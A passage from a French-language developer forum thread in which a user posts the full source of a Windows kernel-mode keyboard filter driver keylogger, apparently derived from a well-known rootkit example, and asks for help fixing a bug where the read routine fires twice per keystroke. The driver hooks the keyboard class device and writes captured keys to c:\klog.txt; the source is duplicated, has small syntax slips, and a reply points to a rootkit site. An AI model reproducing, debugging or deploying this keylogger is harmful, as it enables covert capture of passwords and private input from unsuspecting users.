NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context){
    KEY_DATA * kData ;
    int i = 0;
    // Get the device extension - we'll need to use it later.
      PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
      DbgPrint(".....OnReadCompletion called.....\n");
      // If the request has completed, extract the value of the key.
      if(pIrp->IoStatus.Status == STATUS_SUCCESS){

           PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA )pIrp->AssociatedIrp.SystemBuffer;
           int numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
  
           for(i = 0; i < numKeys; i++){

              kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
              // Fill in kData structure with info from IRP.
              kData->KeyData = keys[i].MakeCode;     
              //Add the scan code to the linked list queue so our worker thread can write it out to a file.
              //DbgPrint("Adding IRP to work queue");
              ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
                                      &kData->ListEntry,
                                      &pKeyboardDeviceExtension->lockQueue);
              // Increment the semaphore by 1 - no WaitForXXX after this call.
              KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,   
                             0,
                             1,
                             FALSE);
           }// end for
    }// end if
      // Mark the IRP pending if necessary.
      if(pIrp->PendingReturned) IoMarkIrpPending(pIrp);
      numPendingIrps--;
       DbgPrint("OnReadCompletion::numPendingIrps : %d", numPendingIrps);
      DbgPrint(".....OnReadCompletion finished.....\n");
      return pIrp->IoStatus.Status;

}// end OnReadCompletion

//This routine is set up to be used specifically for keyboard read requests.
NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp){
   
    PIO_STACK_LOCATION currentIrpStack;
    PIO_STACK_LOCATION nextIrpStack;
    DbgPrint(".....DispatchRead called......\n");
    currentIrpStack = IoGetCurrentIrpStackLocation(pIrp);
    nextIrpStack = IoGetNextIrpStackLocation(pIrp);
    *nextIrpStack = *currentIrpStack;
    IoSetCompletionRoutine(pIrp, OnReadCompletion, pDeviceObject, TRUE, TRUE, TRUE);
    numPendingIrps++;
    DbgPrint(".....DispatchRead finished......\n");
    return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
   
}// end DispatchRead

 //This function creates a WORKER THREAD that can write keystrokes to a log file.
NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT pDriverObject){
   
   
    HANDLE hThread;
      NTSTATUS status;
     
    PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;
    //DbgPrint(".....InitThreadKeyLogger called.....\n");  
    // Set the worker thread to running state in device extension.
    pKeyboardDeviceExtension->bThreadTerminate = 0;
    // Create the worker thread.
    status = PsCreateSystemThread(&hThread,
                                 (ACCESS_MASK)0,
                                 NULL,
                                 (HANDLE)0,
                                 NULL,
                                 ThreadKeyLogger,          //Is the entry point for the driver thread.
                                 pKeyboardDeviceExtension);//Supplies a single argument passed to the thread when it begins execution.                                
      if(!NT_SUCCESS(status)) return status;
  .
      ObReferenceObjectByHandle(hThread,
                              THREAD_ALL_ACCESS,
                              NULL,
                              KernelMode,
                              (PVOID*)&pKeyboardDeviceExtension->pThreadObj,
                              NULL);

    ZwClose(hThread);
   
    //DbgPrint(".....InitThreadKeyLogger finished.....\n");
      return status;

} // END InitThreadKeyLogger

//The HookKeyboard function
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject){
    // the filter device object
    PDEVICE_OBJECT pKeyboardDeviceObject;
    PDEVICE_EXTENSION pKeyboardDeviceExtension;
    CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0";
    STRING  ntNameString;
    UNICODE_STRING uKeyboardDeviceName;
    NTSTATUS status;
    DbgPrint(".....HookKeyBoard called.....\n");  
    //This function returns a pointer to a DeviceObject that contains a pointer to the device extension.
    status = IoCreateDevice(pDriverObject,          //driver to which the device is associated.
                                       sizeof(DEVICE_EXTENSION),
                                       NULL,// no name           //WDM filter and function drivers do not name their device objects.
                                       FILE_DEVICE_KEYBOARD,     //the type of the device.
                                       0,                        //no secific characteristiccs.
                                       TRUE,                     //true if driver is reserved for system use.
                                       &pKeyboardDeviceObject);  //the device to be created.

    // Make sure the device was created.
    if(!NT_SUCCESS(status)) return status;

     pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
    pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING;
    RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,sizeof(DEVICE_EXTENSION));

    // Get the pointer to the device extension.
    pKeyboardDeviceExtension =(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
     
    RtlInitAnsiString(&ntNameString, ntNameBuffer);
    RtlAnsiStringToUnicodeString(&uKeyboardDeviceName,
                                 &ntNameString,
                                 TRUE );
      status = IoAttachDevice(pKeyboardDeviceObject, &uKeyboardDeviceName,
                   &pKeyboardDeviceExtension->pKeyboardDevice);
    RtlFreeUnicodeString(&uKeyboardDeviceName);
    // Make sure the device was successefully attached to the driver.
    if(!NT_SUCCESS(status)) return status;
   
    DbgPrint(".....HookKeyBoard finished.....\n");
      return STATUS_SUCCESS;

}// end HookKeyboard

//The driverEntry function
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegistryPath ){

   
      NTSTATUS Status = {0};
    PDEVICE_EXTENSION pKeyboardDeviceExtension;
      IO_STATUS_BLOCK file_status;
      OBJECT_ATTRIBUTES obj_attrib;
    CCHAR  ntNameFile[64] = "\\DosDevices\\c:\\klog.txt";
    STRING ntNameString;
    UNICODE_STRING uFileName;   
    int i = 0;
   
    DbgPrint(".....DriverEntry called.....\n");
   
    for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
    pDriverObject->MajorFunction[i] = IODispatch;

    // Explicitly fill in the IRP handlers we want to hook.
      pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
     
      // Hook the keyboard now.
      HookKeyboard(pDriverObject); 
      InitThreadKeyLogger(pDriverObject);
      //pDriverObject->DeviceObject->DeviceExtension has been already initialized in HookKeyboard function.
      pKeyboardDeviceExtension = (PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;
      //initializing the shared buffer which is a linked list.
    InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);
    //Initialize the lock for the linked list queue.
       KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
    //Initialize the work queue semaphore.
    KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue, 0, MAXLONG);
    // Create the log file.
    RtlInitAnsiString(&ntNameString, ntNameFile);
    RtlAnsiStringToUnicodeString(&uFileName, &ntNameString, TRUE);
    InitializeObjectAttributes(&obj_attrib, &uFileName,OBJ_CASE_INSENSITIVE,NULL,NULL);
    Status = ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,
                        GENERIC_WRITE,
                        &obj_attrib,
                        &file_status,
                        NULL,
                        FILE_ATTRIBUTE_NORMAL,
                        0,
                        FILE_OPEN_IF,
                        FILE_SYNCHRONOUS_IO_NONALERT,
                        NULL,
                        0);

      RtlFreeUnicodeString(&uFileName);

      if (Status != STATUS_SUCCESS)
    {
        //DbgPrint("Failed to create log file\n");
        //DbgPrint("File Status = %x\n",file_status);
    }
    else
    {
        //DbgPrint("Successfully created log file\n");
        //DbgPrint("File Handle = %x\n",pKeyboardDeviceExtension->hLogFile);
    }

    // Set the DriverUnload procedure.
    pDriverObject->DriverUnload = Unload;

    DbgPrint(".....DriverEntry finished.....\n\n");
    return STATUS_SUCCESS;
   
}//END OF DRIVERENTRY

##############keylogger.h#################

#ifndef _KEYSLOGGER_
#define _KEYSLOGGER_

//Gives the number of IRPs waiting for beeing processed.
extern int numPendingIrps;

typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
     ULONG SystemInformationCLass,
     PVOID SystemInformation,
     ULONG SystemInformationLength,
     PULONG ReturnLength
);

typedef struct _DEVICE_EXTENSION{

      PDEVICE_OBJECT pKeyboardDevice;
    PETHREAD pThreadObj;           //a thread that writes stores key strikes into a file.
    int bThreadTerminate;         //if equals "true", it indicates that the worker thread is terminated.
    HANDLE hLogFile;               //references the logfile: where key strikes are stored.
    //KEY_STATE kState;              //
    KSEMAPHORE semQueue;
    KSPIN_LOCK lockQueue;
    LIST_ENTRY QueueListHead;      //Linked list where key strike codes are stored before converting and writing them into the log file.

}DEVICE_EXTENSION, *PDEVICE_EXTENSION;

typedef struct _KEYBOARD_INPUT_DATA {
    USHORT UnitId;
     USHORT MakeCode;
     USHORT Flags;// Pour l'instant je ne l'utilise pas!!!
     USHORT Reserved;
     ULONG ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

typedef struct _KEY_DATA {
     USHORT KeyData;
    //char KeyFlags;
    LIST_ENTRY ListEntry;
} KEY_DATA;

VOID ConvertScanCodeToKeyCode(USHORT KeyData ,char* keys);
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject);
NTSTATUS IODispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp);
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING RegistryPath);
NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT pDriverObject);
NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp);
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context);
VOID Unload( IN PDRIVER_OBJECT pDriverObject);
VOID ThreadKeyLogger(IN PVOID pContext);

#endif //_KEYSLOGGER_

###########SOURCES############
TARGETNAME=keyslogger
TARGETPATH=OBJ
TARGETTYPE=DRIVER
INCLUDES=..\..\inc
TARGETLIBS=$(DDK_LIB_PATH)\ndis.lib

SOURCES=keylogger.c

########MAKEFILE##########
!INCLUDE $(NTMAKEENV)\makefile.def

-------------------------- FIN CODE -----------------------

Voilà  un simple copier coller et vous pouvez tout compiler... A vous de jouer...

Merci pour votre aide!
0
Aumenov Messages postés 9 Date d'inscription dimanche 23 décembre 2007 Statut Membre Dernière intervention 13 janvier 2008 4
8 janv. 2008 à 22:45
Salut,

Je suis en train de dévélopper un keylogger. Je me suis largement inspirer de ce code. Je n'ai pas de problème de compilation mais j'ai un bug que j'arrive pas à résoudre...
Mon bug est le suivant: la fonction dispatchRead est appellée DEUX fois pour une SEULE frappe clavier. Du coup, la variable numPendingIrps est incrémentée d'un cran de trop à chaque frappe clavier. Ainsi, quand on souhaite arreter le driver donc quand on appelle la fonction Unload cette variable a la valeur "1" (car DispatchRead est appellée un fois de trop), donc la boucle while de la fonction Unload est infinie puisque la condition est toujours fausse (numPendingIrps != 0, car incrémentée d'une fois de trop à cause de l'appel de trop de DispatchRead).  Pour pouvoir sortir de cette boucle, il faut appyer sur une touche quelconque pour que la fonction OnReadCompletion soit appellée et donc numPendingIrps soit décrémentée et c'est ainsi qu'on sort de la boucle et la fonction Unload se termine.

Compiler mon code avec DKK. Pour lancer le .sys vous pouvez utiliser kmdManager et pour afficher les traces DebugView.
Un cas simple vous permettant de voir que DispatchRead est appellée deux fois au lieu d'une seule, lancez le driver et debugView et appuyez sur une SEULE touche (une lettre) vous aller voir que cette fonction est appellée deux fois!

Je vous joins mon code. J'ai ajouté du code pour pouvoir écrire les frappes claviers dans le fichier c:/klog.txt.
Mais attention pour tester ce code n'utiliser que les touches correspondant aux lettres de l'alphabet: pour l'instant mon keylogger gère que la lettre de l'alphabet pour le reste des touches il les traduit par "-".

Je compte beaucoup sur ceux qui ont de l'expérience dans ce domaine car ça fait un moment que j'essaye de corriger ce bug maintenant mais en vain...

Mon code:
#################keylogger.c################
include <ntddk.h>
#include <string.h>
#include "keysLoggerComments.h"

int numPendingIrps = 0;

//The Unload routine performs any operations that are necessary before the system unloads the driver
VOID Unload( IN PDRIVER_OBJECT pDriverObject){

  KTIMER  kTimer;
  LARGE_INTEGER timeout;
       
    // Get the pointer to the device extension.
  PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;
  DbgPrint(".....Driver Unload Called.....\n");

    // Detach from the device underneath that we're hooked to.
      IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);
    DbgPrint("Keyboard hook detached from device\n");

    // Create a timer.
  timeout.QuadPart = 1000000;// .1 s
  KeInitializeTimer(&kTimer);
   
  while(numPendingIrps > 0){
   // Set the timer.
   KeSetTimer(&kTimer,timeout,NULL);
   KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL);
  }

    // Set our key logger worker thread to terminate.
  pKeyboardDeviceExtension->bThreadTerminate = 1;
    // Wake up the thread if its blocked & WaitForXXX after this call.
  KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,TRUE);

    // Wait until the worker thread terminates.
  DbgPrint("Waiting for key logger thread to terminate\n");
  KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,Executive,KernelMode,FALSE,NULL);
  DbgPrint("Key logger thread terminated\n");
    // Close the log file.
  ZwClose(pKeyboardDeviceExtension->hLogFile);

    // Delete the device.
  IoDeleteDevice(pDriverObject->DeviceObject);
  DbgPrint("Tagged IRPs dead...Terminating\n");
 
  //The end
  DbgPrint("..... Driver Unload finished.....\n");
  return;
}

// IRP -> I/OManager
NTSTATUS IODispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp){
   Irp->IoStatus.Status = STATUS_SUCCESS;
   IoCompleteRequest(Irp,IO_NO_INCREMENT);
   return STATUS_SUCCESS;
}

//This function is to be improved
VOID ConvertScanCodeToKeyCode(USHORT KeyData, char* keys){
   
    //DbgPrint("..... ConvertScanCodeToKeyCode.....\n");   
    switch (KeyData){
   
        case (0x10):
              strcpy (keys, "a");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x11):
              strcpy (keys, "z");
             DbgPrint(" keys: %s\n", keys);
              break;
              
         case (0x12):
              strcpy (keys, "e");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x13):
              strcpy (keys, "r");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x14):
              strcpy (keys, "t");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x15):
              strcpy (keys, "y");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x16):
              strcpy (keys, "u");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x17):
              strcpy (keys, "i");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x18):
              strcpy (keys, "o");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x19):
              strcpy (keys, "p");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x1e):
              strcpy (keys, "q");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x1f):
              strcpy (keys, "s");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x20):
              strcpy (keys, "d");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x21):
              strcpy (keys, "f");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x22):
              strcpy (keys, "g");
             DbgPrint(" keys: %s\n", keys);
              break;     
         case (0x23):
              strcpy (keys, "h");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x24):
              strcpy (keys, "j");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x25):
              strcpy (keys, "k");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x26):
              strcpy (keys, "l");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x27):
              strcpy (keys, "m");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x2c):
              strcpy (keys, "w");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x2d):
              strcpy (keys, "x");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x2e):
              strcpy (keys, "c");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x2f):
              strcpy (keys, "v");
             DbgPrint(" keys: %s\n", keys);
              break;                         
         case (0x30):
              strcpy (keys, "b");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x31):
              strcpy (keys, "n");
             DbgPrint(" keys: %s\n", keys);
              break;
       
        default:
            strcpy (keys, "-");
    }
        //DbgPrint(".....ConvertScanCodeToKeyCode.....\n");        
}

VOID ThreadKeyLogger(IN PVOID pContext){
 
   
    char  keys[1];// this array will contain the key code.
    PLIST_ENTRY pListEntry;
    KEY_DATA * kData; // a data structure used to hold scancodes in the linked list
       
    PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext;
    PDEVICE_OBJECT pKeyboardDeviceObject = pKeyboardDeviceExtension->pKeyboardDevice;

    //DbgPrint(".....ThreadKeyLogger.....\n"); 
                  
      //The code waits for the semaphore using KeWaitForSingleObject.
      //If the semaphore is incremented, the processing loop knows to continue                
      while(TRUE){
           // Wait for data to become available in the queue.
           KeWaitForSingleObject(&pKeyboardDeviceExtension->semQueue,Executive,KernelMode,FALSE,NULL);
   
           //The topmost item is removed safely from the linked list.
           pListEntry = ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead,&pKeyboardDeviceExtension->lockQueue);

           if(pKeyboardDeviceExtension->bThreadTerminate == 1){
         PsTerminateSystemThread(STATUS_SUCCESS);
         }
   
          //The CONTAINING_RECORD macro returns the base address of the structure containing the field ListEntry.
          kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);
        //DbgPrint("the kData->KeyData is : %x\n",kData->KeyData);
        // Convert the scan code to a key code.
          ConvertScanCodeToKeyCode(kData->KeyData,keys);

        if(TRUE/*keys != 0*/){
        // Write the data out to a file.
               if(pKeyboardDeviceExtension->hLogFile != NULL){
                   IO_STATUS_BLOCK io_status;
                NTSTATUS status = ZwWriteFile(
                                    pKeyboardDeviceExtension->hLogFile,
                                    NULL,
                                    NULL,
                                    NULL,
                                        &io_status,
                                     &keys,
                                    strlen(keys),
                                    NULL,
                                         NULL);

                 if(status != STATUS_SUCCESS){
                     ;
                    //DbgPrint("Writing scan code to file failed!\n");
                 }
                else  ;
                    //DbgPrint("Scan code '%s' successfully written to the log file.\n",keys);
        
            }// end if
        }// end if
    }// end while
 
      //DbgPrint(".....ThreadKeyLogger finished.....\n");
      return;
}// end ThreadLogKeyboard

NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context){
    KEY_DATA * kData ;
    int i = 0;
    // Get the device extension - we'll need to use it later.
      PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
      DbgPrint(".....OnReadCompletion called.....\n");
      // If the request has completed, extract the value of the key.
      if(pIrp->IoStatus.Status == STATUS_SUCCESS){

           PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA )pIrp->AssociatedIrp.SystemBuffer;
           int numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
  
           for(i = 0; i < numKeys; i++){

              kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
              // Fill in kData structure with info from IRP.
              kData->KeyData = keys[i].MakeCode;     
              //Add the scan code to the linked list queue so our worker thread can write it out to a file.
              //DbgPrint("Adding IRP to work queue");
              ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
                                      &kData->ListEntry,
                                      &pKeyboardDeviceExtension->lockQueue);
              // Increment the semaphore by 1 - no WaitForXXX after this call.
              KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,   
                             0,
                             1,
                             FALSE);
           }// end for
    }// end if
      // Mark the IRP pending if necessary.
      if(pIrp->PendingReturned) IoMarkIrpPending(pIrp);
      numPendingIrps--;
       DbgPrint("OnReadCompletion::numPendingIrps : %d", numPendingIrps);
      DbgPrint(".....OnReadCompletion finished.....\n");
      return pIrp->IoStatus.Status;

}// end OnReadCompletion

//This routine is set up to be used specifically for keyboard read requests.
NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp){
   
    PIO_STACK_LOCATION currentIrpStack;
    PIO_STACK_LOCATION nextIrpStack;
    DbgPrint(".....DispatchRead called......\n");
    currentIrpStack = IoGetCurrentIrpStackLocation(pIrp);
    nextIrpStack = IoGetNextIrpStackLocation(pIrp);
    *nextIrpStack = *currentIrpStack;
    IoSetCompletionRoutine(pIrp, OnReadCompletion, pDeviceObject, TRUE, TRUE, TRUE);
    numPendingIrps++;
    DbgPrint(".....DispatchRead finished......\n");
    return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
   
}// end DispatchRead

 //This function creates a WORKER THREAD that can write keystrokes to a log file.
NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT pDriverObject){
   
   
    HANDLE hThread;
      NTSTATUS status;
     
    PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;
    //DbgPrint(".....InitThreadKeyLogger called.....\n");  
    // Set the worker thread to running state in device extension.
    pKeyboardDeviceExtension->bThreadTerminate = 0;
    // Create the worker thread.
    status = PsCreateSystemThread(&hThread,
                                 (ACCESS_MASK)0,
                                 NULL,
                                 (HANDLE)0,
                                 NULL,
                                 ThreadKeyLogger,          //Is the entry point for the driver thread.
                                 pKeyboardDeviceExtension);//Supplies a single argument passed to the thread when it begins execution.                                
      if(!NT_SUCCESS(status)) return status;
  .
      ObReferenceObjectByHandle(hThread,
                              THREAD_ALL_ACCESS,
                              NULL,
                              KernelMode,
                              (PVOID*)&pKeyboardDeviceExtension->pThreadObj,
                              NULL);

    ZwClose(hThread);
   
    //DbgPrint(".....InitThreadKeyLogger finished.....\n");
      return status;

} // END InitThreadKeyLogger

//The HookKeyboard function
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject){
    // the filter device object
    PDEVICE_OBJECT pKeyboardDeviceObject;
    PDEVICE_EXTENSION pKeyboardDeviceExtension;
    CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0";
    STRING  ntNameString;
    UNICODE_STRING uKeyboardDeviceName;
    NTSTATUS status;
    DbgPrint(".....HookKeyBoard called.....\n");  
    //This function returns a pointer to a DeviceObject that contains a pointer to the device extension.
    status = IoCreateDevice(pDriverObject,          //driver to which the device is associated.
                                       sizeof(DEVICE_EXTENSION),
                                       NULL,// no name           //WDM filter and function drivers do not name their device objects.
                                       FILE_DEVICE_KEYBOARD,     //the type of the device.
                                       0,                        //no secific characteristiccs.
                                       TRUE,                     //true if driver is reserved for system use.
                                       &pKeyboardDeviceObject);  //the device to be created.

    // Make sure the device was created.
    if(!NT_SUCCESS(status)) return status;

     pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
    pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING;
    RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,sizeof(DEVICE_EXTENSION));

    // Get the pointer to the device extension.
    pKeyboardDeviceExtension =(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
     
    RtlInitAnsiString(&ntNameString, ntNameBuffer);
    RtlAnsiStringToUnicodeString(&uKeyboardDeviceName,
                                 &ntNameString,
                                 TRUE );
      status = IoAttachDevice(pKeyboardDeviceObject, &uKeyboardDeviceName,
                   &pKeyboardDeviceExtension->pKeyboardDevice);
    RtlFreeUnicodeString(&uKeyboardDeviceName);
    // Make sure the device was successefully attached to the driver.
    if(!NT_SUCCESS(status)) return status;
   
    DbgPrint(".....HookKeyBoard finished.....\n");
      return STATUS_SUCCESS;

}// end HookKeyboard

//The driverEntry function
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegistryPath ){

   
      NTSTATUS Status = {0};
    PDEVICE_EXTENSION pKeyboardDeviceExtension;
      IO_STATUS_BLOCK file_status;
      OBJECT_ATTRIBUTES obj_attrib;
    CCHAR  ntNameFile[64] = "\\DosDevices\\c:\\klog.txt";
    STRING ntNameString;
    UNICODE_STRING uFileName;   
    int i = 0;
   
    DbgPrint(".....DriverEntry called.....\n");
   
    for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
    pDriverObject->MajorFunction[i] = IODispatch;

    // Explicitly fill in the IRP handlers we want to hook.
      pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
     
      // Hook the keyboard now.
      HookKeyboard(pDriverObject); 
      InitThreadKeyLogger(pDriverObject);
      //pDriverObject->DeviceObject->DeviceExtension has been already initialized in HookKeyboard function.
      pKeyboardDeviceExtension = (PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;
      //initializing the shared buffer which is a linked list.
    InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);
    //Initialize the lock for the linked list queue.
       KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
    //Initialize the work queue semaphore.
    KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue, 0, MAXLONG);
    // Create the log file.
    RtlInitAnsiString(&ntNameString, ntNameFile);
    RtlAnsiStringToUnicodeString(&uFileName, &ntNameString, TRUE);
    InitializeObjectAttributes(&obj_attrib, &uFileName,OBJ_CASE_INSENSITIVE,NULL,NULL);
    Status = ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,
                        GENERIC_WRITE,
                        &obj_attrib,
                        &file_status,
                        NULL,
                        FILE_ATTRIBUTE_NORMAL,
                        0,
                        FILE_OPEN_IF,
                        FILE_SYNCHRONOUS_IO_NONALERT,
                        NULL,
                        0);

      RtlFreeUnicodeString(&uFileName);

      if (Status != STATUS_SUCCESS)
    {
        //DbgPrint("Failed to create log file\n");
        //DbgPrint("File Status = %x\n",file_status);
    }
    else
    {
        //DbgPrint("Successfully created log file\n");
        //DbgPrint("File Handle = %x\n",pKeyboardDeviceExtension->hLogFile);
    }

    // Set the DriverUnload procedure.
    pDriverObject->DriverUnload = Unload;

    DbgPrint(".....DriverEntry finished.....\n\n");
    return STATUS_SUCCESS;
   
}//END OF DRIVERENTRY

##############keylogger.h#################

#ifndef _KEYSLOGGER_
#define _KEYSLOGGER_

//Gives the number of IRPs waiting for beeing processed.
extern int numPendingIrps;

typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
     ULONG SystemInformationCLass,
     PVOID SystemInformation,
     ULONG SystemInformationLength,
     PULONG ReturnLength
);

typedef struct _DEVICE_EXTENSION{

      PDEVICE_OBJECT pKeyboardDevice;
    PETHREAD pThreadObj;           //a thread that writes stores key strikes into a file.
    int bThreadTerminate;         //if equals "true", it indicates that the worker thread is terminated.
    HANDLE hLogFile;               //references the logfile: where key strikes are stored.
    //KEY_STATE kState;              //
    KSEMAPHORE semQueue;
    KSPIN_LOCK lockQueue;
    LIST_ENTRY QueueListHead;      //Linked list where key strike codes are stored before converting and writing them into the log file.

}DEVICE_EXTENSION, *PDEVICE_EXTENSION;

typedef struct _KEYBOARD_INPUT_DATA {
    USHORT UnitId;
     USHORT MakeCode;
     USHORT Flags;// Pour l'instant je ne l'utilise pas!!!
     USHORT Reserved;
     ULONG ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

typedef struct _KEY_DATA {
     USHORT KeyData;
    //char KeyFlags;
    LIST_ENTRY ListEntry;
} KEY_DATA;

VOID ConvertScanCodeToKeyCode(USHORT KeyData ,char* keys);
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject);
NTSTATUS IODispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp);
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING RegistryPath);
NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT pDriverObject);
NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp);
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context);
VOID Unload( IN PDRIVER_OBJECT pDriverObject);
VOID ThreadKeyLogger(IN PVOID pContext);

#endif //_KEYSLOGGER_

###########SOURCES############
TARGETNAME=keyslogger
TARGETPATH=OBJ
TARGETTYPE=DRIVER
INCLUDES=..\..\inc
TARGETLIBS=$(DDK_LIB_PATH)\ndis.lib

SOURCES=keylogger.c

########MAKEFILE##########
!INCLUDE $(NTMAKEENV)\makefile.def

-------------------------- FIN CODE -----------------------

Voilà  un simple copier coller et vous pouvez tout compiler... A vous de jouer...

Merci pour votre aide!
0
jb212121 Messages postés 76 Date d'inscription mardi 6 avril 2004 Statut Membre Dernière intervention 22 décembre 2012
20 avril 2008 à 08:44
[auteur/AUMENOV/1248137.aspx Aumenov]
on dit merci KLOG loll

Tu trouveras tout ce dont tu as besoin ici

http://www.rootkit.com/index.php
0
Rejoignez-nous